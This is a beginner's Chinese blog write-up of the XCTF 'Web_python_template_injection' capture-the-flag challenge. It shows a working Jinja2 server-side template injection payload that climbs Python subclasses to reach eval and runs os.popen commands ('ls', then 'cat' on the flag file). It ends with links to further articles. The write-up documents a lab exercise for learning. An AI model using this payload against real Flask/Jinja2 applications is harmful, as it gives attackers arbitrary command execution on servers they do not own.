XCTF---Web_python_template_injection

python template injection

(对于出学的我来说)python模板注入不熟。所以花了一天的时间看了不少文章,也慢慢了解了Flask/Jinja2.输入后显示(和xss是不是很像)XCTF---Web_python_template_injection_第1张图片
之后输入**{{config.items()}}**是可以爆出一些内容的XCTF---Web_python_template_injection_第2张图片
这里有些内容较深就不细究了。之后有偿试爆了一下类(看了文章,师傅说类,它是文件系统访问的关键,但是还没找到方法,所以 继续了一篇)XCTF---Web_python_template_injection_第3张图片

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}   
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
 
 
//然后cat 就可以
![{% for c in \[\].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b\['eval'\]('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}](https://img-blog.csdnimg.cn/20200528222610489.png)
//我们可以改里面的命令

输入之后在这里插入图片描述
cat一下
在这里插入图片描述

暂时用了这种方法,其他还待挖掘,学习快乐。

这里是师傅们的文章(可以读读):
https://xz.aliyun.com/t/2908
https://blog.csdn.net/iamsongyu/article/details/85861811
https://www.freebuf.com/articles/web/98619.html
https://www.freebuf.com/articles/web/98928.html
https://drops.org.cn/Python/flask-jinja2-ssti.html
https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8

你可能感兴趣的:(XCTF---Web_python_template_injection)